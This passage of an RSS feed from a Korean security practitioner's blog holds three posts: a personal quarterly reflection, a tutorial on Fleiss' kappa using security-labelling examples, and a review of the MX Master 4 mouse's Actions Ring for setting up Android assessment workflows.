&lt;h2 data-ke-size=&quot;size26&quot;&gt;30대&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;br /&gt;모든&amp;nbsp;것을&amp;nbsp;흡수하고&amp;nbsp;내&amp;nbsp;것으로&amp;nbsp;만드는&amp;nbsp;과정&amp;nbsp;자체가&amp;nbsp;가장&amp;nbsp;재미있던&amp;nbsp;시기가&amp;nbsp;있었다.&amp;nbsp;밤을&amp;nbsp;새워&amp;nbsp;새로운&amp;nbsp;기술을&amp;nbsp;따라가고,&amp;nbsp;흥미가&amp;nbsp;가는&amp;nbsp;일이라면&amp;nbsp;일단&amp;nbsp;몸을&amp;nbsp;던졌다. &lt;br /&gt;&lt;br /&gt;지금도&amp;nbsp;다양한&amp;nbsp;기회는&amp;nbsp;있지만,&amp;nbsp;이제는&amp;nbsp;그&amp;nbsp;중에서&amp;nbsp;무엇을&amp;nbsp;선택할지&amp;nbsp;결정해야만&amp;nbsp;온전히&amp;nbsp;내것이&amp;nbsp;되는&amp;nbsp;시기라는&amp;nbsp;것을&amp;nbsp;느낀다.&amp;nbsp;모든&amp;nbsp;것을&amp;nbsp;다&amp;nbsp;할&amp;nbsp;수&amp;nbsp;없다는&amp;nbsp;사실을&amp;nbsp;조금씩&amp;nbsp;인정한다.&amp;nbsp;대신&amp;nbsp;예전에&amp;nbsp;체득했던&amp;nbsp;기술들이&amp;nbsp;현업에서&amp;nbsp;통하고&amp;nbsp;있고,&amp;nbsp;새로운&amp;nbsp;기술을&amp;nbsp;접하는&amp;nbsp;데&amp;nbsp;여전히&amp;nbsp;설레는&amp;nbsp;마음이&amp;nbsp;남아&amp;nbsp;있다.&amp;nbsp;'속도보다&amp;nbsp;방향'임을&amp;nbsp;배운다.&amp;nbsp;&lt;/p&gt;</description>
      <category>Review/Quarterly</category>
      <author>땅콩킹땅콩</author>
      <guid isPermaLink="true">https://gomguk.tistory.com/305</guid>
      <comments>https://gomguk.tistory.com/305#entry305comment</comments>
      <pubDate>Mon, 1 Dec 2025 22:51:02 +0900</pubDate>
    </item>
    <item>
      <title>[연구방법론] Fleiss'  kappa(플레이스의 카파)</title>
      <link>https://gomguk.tistory.com/304</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;들어가며&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;새로운 공부를 하고 있는데, 내 주장을 펼치려면 사실에 근거한 자료로 뒷받침을 해주어야 한다. 논문을 작성하기 위한 연구방법론 중 하나를 소개한다. 사례 설명은 정보보안 분야와 접목해 보았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. Fleiss' kappa 개요&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Fleiss&amp;rsquo; kappa(플라이스 카파)는 &amp;ldquo;&lt;b&gt;여러 평가자(3명 이상)가 같은 대상들을 범주형(예: 취약/비취약, High/Med/Low)으로 판단했을 때, 그 판단 일치도가 우연 수준을 얼마나 &amp;lsquo;넘어서는지&amp;rsquo;&lt;/b&gt;를 수치로 보여주는 통계이다.&lt;br /&gt;한 줄로 요약하면 &lt;b&gt;&amp;ldquo;다수 평가자의 분류가 서로 얼마나 신뢰할 만하게 일치하는가?&amp;rdquo;&lt;/b&gt;이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. 왜 필요한가?&lt;/h2&gt;
&lt;p data-end=&quot;243&quot; data-start=&quot;218&quot; data-ke-size=&quot;size16&quot;&gt;정보보안 사례를 예를 들면 다음 같은 상황이 있을 수 있다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;375&quot; data-start=&quot;245&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;335&quot; data-start=&quot;245&quot;&gt;여러 진단자가 &lt;b&gt;같은 로그/취약점/이벤트&lt;/b&gt;를 보고&lt;br /&gt;&amp;ldquo;이건 XSS다 / 아니다&amp;rdquo;, &amp;ldquo;심각도는 High/Med/Low다&amp;rdquo; 같은 &lt;b&gt;범주로 라벨링&lt;/b&gt;함.&lt;/li&gt;
&lt;li data-end=&quot;375&quot; data-start=&quot;336&quot;&gt;혹은 자동화 도구가 만든 결과를 사람 여러 명이 다시 분류/검증함.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;436&quot; data-start=&quot;377&quot; data-ke-size=&quot;size16&quot;&gt;이때 단순히 &amp;ldquo;80% 일치했다&amp;rdquo;는 숫자는 애매합니다.&lt;br /&gt;&lt;b&gt;우연히도 80%가 맞을 수 있기 때문&lt;/b&gt;이다.&lt;/p&gt;
&lt;p data-end=&quot;452&quot; data-start=&quot;438&quot; data-ke-size=&quot;size16&quot;&gt;Fleiss&amp;rsquo; kappa는&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-end=&quot;547&quot; data-start=&quot;453&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;473&quot; data-start=&quot;453&quot;&gt;실제 일치율 P̄ &amp;nbsp;&amp;nbsp;과&lt;/li&gt;
&lt;li data-end=&quot;547&quot; data-start=&quot;474&quot;&gt;범주 분포만으로 기대되는 우연 일치율 &lt;span&gt;&lt;span&gt;P̄ e&lt;/span&gt;&lt;/span&gt;를 비교해서&lt;br /&gt;&lt;b&gt;&amp;ldquo;우연을 제거한 순수한 합의 수준&amp;rdquo;&lt;/b&gt;을 계산한다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. 언제 쓰는가?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;평가자가 3명 이상인 경우에 사용한다. (두명일 경우에는 &lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;Cohen's kappa를 사용한다.) 대상(아이템)이 여러 개 있고, 각 아이템을 동일한 수의 평가자가 평가할 때 사용한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;결과가 명목형/범주형(순서가 없는 라벨)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;예: 취약/비취약, 공격유형(A,B,C), 탐지성공/실패&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;background-color: #ffffff;&quot;&gt;4. 계산 개념&lt;/span&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;background-color: #ffffff;&quot;&gt;(1) 데이터 형태&lt;/span&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;background-color: #ffffff;&quot;&gt;아이템 N개, 범주 k개, 평가자 n 명&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;background-color: #ffffff;&quot;&gt;각 아이템마다 &quot;범주별로 몇 명이 그 범주를 골랐는지&quot;를 세어 표로 만든다.&lt;/span&gt;&lt;/span&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;610&quot; data-origin-height=&quot;69&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cnguUB/dJMcaa4MIEB/SRHhrvZKohXAqYsgr33d41/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cnguUB/dJMcaa4MIEB/SRHhrvZKohXAqYsgr33d41/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cnguUB/dJMcaa4MIEB/SRHhrvZKohXAqYsgr33d41/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcnguUB%2FdJMcaa4MIEB%2FSRHhrvZKohXAqYsgr33d41%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;504&quot; height=&quot;57&quot; data-origin-width=&quot;610&quot; data-origin-height=&quot;69&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;(2) 아이템별 일치도 &lt;span&gt;P&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;i&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;한 아이템 안에서 평가자들이 얼마나 모였는지. 같은 범주를 고른 쌍(pair)이 얼마나 되는지 세는 식이다.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;모든 같은 범주를 선택했을 때 Pi=1 이된다.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;449&quot; data-origin-height=&quot;130&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bGRWD3/dJMcabvRfYC/iVlE1JrrHkcrAyfl4oSTE0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bGRWD3/dJMcabvRfYC/iVlE1JrrHkcrAyfl4oSTE0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bGRWD3/dJMcabvRfYC/iVlE1JrrHkcrAyfl4oSTE0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbGRWD3%2FdJMcabvRfYC%2FiVlE1JrrHkcrAyfl4oSTE0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;449&quot; height=&quot;130&quot; data-origin-width=&quot;449&quot; data-origin-height=&quot;130&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;(3) 전체 평균 일치도 P̄&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;231&quot; data-origin-height=&quot;125&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/berCiq/dJMcagqoFdb/1Jq5eD6s6od18CVZ0rk3C1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/berCiq/dJMcagqoFdb/1Jq5eD6s6od18CVZ0rk3C1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/berCiq/dJMcagqoFdb/1Jq5eD6s6od18CVZ0rk3C1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FberCiq%2FdJMcagqoFdb%2F1Jq5eD6s6od18CVZ0rk3C1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;231&quot; height=&quot;125&quot; data-origin-width=&quot;231&quot; data-origin-height=&quot;125&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;(4) 범주별 선택 비율 p_j&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;261&quot; data-origin-height=&quot;119&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/OqYKX/dJMcaiodb8j/wGmZDymx0N3nKGSvEWjm5K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/OqYKX/dJMcaiodb8j/wGmZDymx0N3nKGSvEWjm5K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/OqYKX/dJMcaiodb8j/wGmZDymx0N3nKGSvEWjm5K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOqYKX%2FdJMcaiodb8j%2FwGmZDymx0N3nKGSvEWjm5K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;261&quot; height=&quot;119&quot; data-origin-width=&quot;261&quot; data-origin-height=&quot;119&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;(5) 우연 일치 기대값 P̄ &lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;e&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;203&quot; data-origin-height=&quot;121&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/psR5q/dJMcagRsTPC/Td7LWNBm8M4OrZw1phQYG1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/psR5q/dJMcagRsTPC/Td7LWNBm8M4OrZw1phQYG1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/psR5q/dJMcagRsTPC/Td7LWNBm8M4OrZw1phQYG1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpsR5q%2FdJMcagRsTPC%2FTd7LWNBm8M4OrZw1phQYG1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;203&quot; height=&quot;121&quot; data-origin-width=&quot;203&quot; data-origin-height=&quot;121&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;(6) Fleiss' kappa&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;188&quot; data-origin-height=&quot;110&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/1u6AP/dJMcafLNdpN/CIkuN6vx5jG2t8qlPKBPW0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/1u6AP/dJMcafLNdpN/CIkuN6vx5jG2t8qlPKBPW0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/1u6AP/dJMcafLNdpN/CIkuN6vx5jG2t8qlPKBPW0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F1u6AP%2FdJMcafLNdpN%2FCIkuN6vx5jG2t8qlPKBPW0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;188&quot; height=&quot;110&quot; data-origin-width=&quot;188&quot; data-origin-height=&quot;110&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;분자: 실제 일치 - 우연 일치&lt;br /&gt;분모: 가능한 최대(우연을 뺀) 일치&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;k=1 이면, 완전 일치&lt;br /&gt;k=0 이면, 우연 수준&lt;br /&gt;k&amp;lt;0 이면, 우연보다도 못한 합의(체계적 불일치)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;5. 해석 기준(관행)&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;절대적인 법칙은 아니지만, 보통 수치별 해석은 다음과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; 0 : 합의가 우연보다 낮음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;0.00~0.20 : Slight(아주 약함)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;0.21~0.40 : Fair(약함)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;0.41~0.60 : Moderate(보통)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;0.61~0.80 : Substantial (강함)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;0.81~1: Almost perfect(매우 강함)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Report/Term paper</category>
      <author>땅콩킹땅콩</author>
      <guid isPermaLink="true">https://gomguk.tistory.com/304</guid>
      <comments>https://gomguk.tistory.com/304#entry304comment</comments>
      <pubDate>Mon, 24 Nov 2025 21:41:37 +0900</pubDate>
    </item>
    <item>
      <title>[MX Master 4] 액션링 사용 후기</title>
      <link>https://gomguk.tistory.com/303</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;들어가며&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보안 진단 업무는 '준비가 반'입니다. 웹, 앱 진단마다 켜야할 도구가 다르고, 세팅의 실수가 분석과 진단의 속도를 갉아먹습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;photo_2025-10-29_21-06-32.jpg&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;1280&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cXUrM6/dJMcajgcMMY/Iwh98I5apKGq8yeuZLjeHK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cXUrM6/dJMcajgcMMY/Iwh98I5apKGq8yeuZLjeHK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cXUrM6/dJMcajgcMMY/Iwh98I5apKGq8yeuZLjeHK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcXUrM6%2FdJMcajgcMMY%2FIwh98I5apKGq8yeuZLjeHK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;356&quot; height=&quot;475&quot; data-filename=&quot;photo_2025-10-29_21-06-32.jpg&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;1280&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번에 MX Master 4가 출시되면서, 액션링을 호출할 수 있는 버튼도 추가되었고, Logi Options+의 소프트웨어도 많이 강화가 되었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번에 Logi Options+의 SmartActions와 Actions Ring을 집중적으로 써보면서, 준비단계와 실행 구간을 조금씩 단축시키고 있습니다. 마우스 커서를 감싸며 오버레이가 나타나니 빠르게 접근할 수 있고, 자주 쓰는 명령을 &quot;버블&quot;로 붙여두니, 커서가 닿는 곳에서 바로 실행되는 것이 좋았습니다. 액션 링은 실행중인 프로그램의 맥락에 맞춰서(브라우저/IDE/캡처 도구 등) 자동으로 변형되고, 원하는 도구나 플로우를 드래그&amp;amp;드롭으로 배치할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마켓플레이스나 엔터테인먼트 애플리케이션(포토샵/프리미어프로 등)을 위한 프리셋이 제공되고 있지만, 저에게 해당하는 앱이 없어 적용해서 사용하지는 못했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아직 진행중인 설정이지만, 저도 로지텍 커뮤니티(&lt;a href=&quot;https://logitech-smartactions.com/html/community.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://logitech-smartactions.com/html/community.html&lt;/a&gt;)에서 얻은 것들이 많아 제 설정들을 몇가지 공유해보고자 합니다. 기술에 진심인 사람답게 공식 독스(&lt;a href=&quot;https://ko.hub.sync.logitech.com/options/post/using-smart-actions-in-options-FAU1yARC27jYpg0&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://ko.hub.sync.logitech.com/options/post/using-smart-actions-in-options-FAU1yARC27jYpg0&lt;/a&gt;) 부터 참고했고, GPT와 함께 논의하며 구성하였습니다.&lt;/p&gt;
&lt;figure id=&quot;og_1761739531600&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Logitech Smart Action Challenge&quot; data-og-description=&quot;Logitech Smart Action Challenge&quot; data-og-host=&quot;logitech-smartactions.com&quot; data-og-source-url=&quot;https://logitech-smartactions.com/html/community.html&quot; data-og-url=&quot;http://logitech-smartactions.com/&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/sNG4w/hyZMo1JFwW/EliTnK1Nw8Ihs8qp8qz49k/img.jpg?width=1000&amp;amp;height=600&amp;amp;face=0_0_1000_600,https://scrap.kakaocdn.net/dn/emWRXL/hyZLje4BXZ/vX2DsUtRqjCVPBdPqX3SaK/img.png?width=300&amp;amp;height=380&amp;amp;face=0_0_300_380,https://scrap.kakaocdn.net/dn/BmL2A/hyZMPQX59E/0knsYrTnesnm6nRNNEwK40/img.png?width=300&amp;amp;height=380&amp;amp;face=0_0_300_380&quot;&gt;&lt;a href=&quot;https://logitech-smartactions.com/html/community.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://logitech-smartactions.com/html/community.html&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/sNG4w/hyZMo1JFwW/EliTnK1Nw8Ihs8qp8qz49k/img.jpg?width=1000&amp;amp;height=600&amp;amp;face=0_0_1000_600,https://scrap.kakaocdn.net/dn/emWRXL/hyZLje4BXZ/vX2DsUtRqjCVPBdPqX3SaK/img.png?width=300&amp;amp;height=380&amp;amp;face=0_0_300_380,https://scrap.kakaocdn.net/dn/BmL2A/hyZMPQX59E/0knsYrTnesnm6nRNNEwK40/img.png?width=300&amp;amp;height=380&amp;amp;face=0_0_300_380');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Logitech Smart Action Challenge&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Logitech Smart Action Challenge&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;logitech-smartactions.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;기본 설정&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1450&quot; data-origin-height=&quot;816&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/o6YCt/dJMcacVGy43/ZtK9ggWK9Tgo1jckaiRKy1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/o6YCt/dJMcacVGy43/ZtK9ggWK9Tgo1jckaiRKy1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/o6YCt/dJMcacVGy43/ZtK9ggWK9Tgo1jckaiRKy1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fo6YCt%2FdJMcacVGy43%2FZtK9ggWK9Tgo1jckaiRKy1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1450&quot; height=&quot;816&quot; data-origin-width=&quot;1450&quot; data-origin-height=&quot;816&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Easy-Switch&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;액션링과 Easy-Switch 조합은 연결 기기간 전환을 편하게 합니다. 마우스를 뒤집어 바닥에 있는 스위치를 누르지 않아도, 화면에서 바로 전환하는 형태라 OS가 다른 기기에서도 전환이 편합니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;취약점 진단 환경 준비&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;액션링에는 폴더를 지정해서 여러가지 액션을 모아둘 수 있습니다. 또한 각 액션에는 플로우를 지정할 수 있어서, 진단 준비에 필요했던 일련의 과정들을 자동화할 수 있습니다. 예시로 안드로이드 진단 환경 준비를 위한 플로우입니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1342&quot; data-origin-height=&quot;928&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tbpD1/dJMcagjtRYh/eC5O3PzDgtYc9ErDMtkkak/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tbpD1/dJMcagjtRYh/eC5O3PzDgtYc9ErDMtkkak/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tbpD1/dJMcagjtRYh/eC5O3PzDgtYc9ErDMtkkak/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtbpD1%2FdJMcagjtRYh%2FeC5O3PzDgtYc9ErDMtkkak%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;548&quot; height=&quot;379&quot; data-origin-width=&quot;1342&quot; data-origin-height=&quot;928&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
